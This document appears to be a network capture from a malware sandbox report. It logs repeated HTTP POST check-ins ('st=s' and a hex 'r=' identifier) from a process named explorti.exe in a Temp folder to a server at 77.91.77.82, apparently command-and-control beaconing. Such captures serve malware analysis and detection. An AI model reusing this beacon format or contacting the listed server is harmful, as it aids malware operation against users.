Jul 2, 2024 12:21:43.193422079 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:43.424899101 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.7	55250	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:43.541574001 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:44.259269953 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:44.267473936 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:44.493499041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
17	192.168.2.7	55251	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:44.616396904 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:45.317827940 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:45.318818092 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:45.538363934 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
18	192.168.2.7	55252	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:45.649791002 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:46.345463037 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:46.346153021 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:46.563842058 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.7	55253	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:46.684428930 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:47.398473024 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:47.399262905 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:47.626161098 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.7	55254	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:47.743825912 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:48.444000959 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:48.444833994 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:48.665350914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.7	55255	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:48.775161028 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:49.464545012 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:49.465251923 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:49.680588961 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.7	55256	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:49.791230917 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:50.474065065 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:50.474792957 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:50.688565969 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.7	55257	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:50.806114912 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:51.540190935 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:51.550627947 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:51.778215885 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.7	55258	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:51.899622917 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:52.596684933 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:52.599482059 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:52.817652941 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:52 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.7	55259	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:52.931930065 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:53.627583981 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:53.628957987 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:53.846075058 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.7	55261	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:53.962236881 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:54.650589943 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:54.651401997 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
Jul 2, 2024 12:21:54.867841005 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.7	55262	77.91.77.82	80	8188	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 2, 2024 12:21:54.981302023 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 2, 2024 12:21:55.690674067 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 02 Jul 2024 10:21:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 2, 2024 12:21:55.691482067 CEST	311	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 162 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 42 32 41 37 39 42 34 35 31 38 32 44 31 32 46 43 34 37 44 42 32 33 43 41 39 36 34 46 46 35 36 34 43 33 38 42 33 37 33 37 30 33 35 42 31 45 36 30 43 38 44 30 45 39 33 39 46 42 36 30 38 42 45 43 35 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A7BBB2A79B45182D12FC47DB23CA964FF564C38B3737035B1E60C8D0E939FB608BEC5
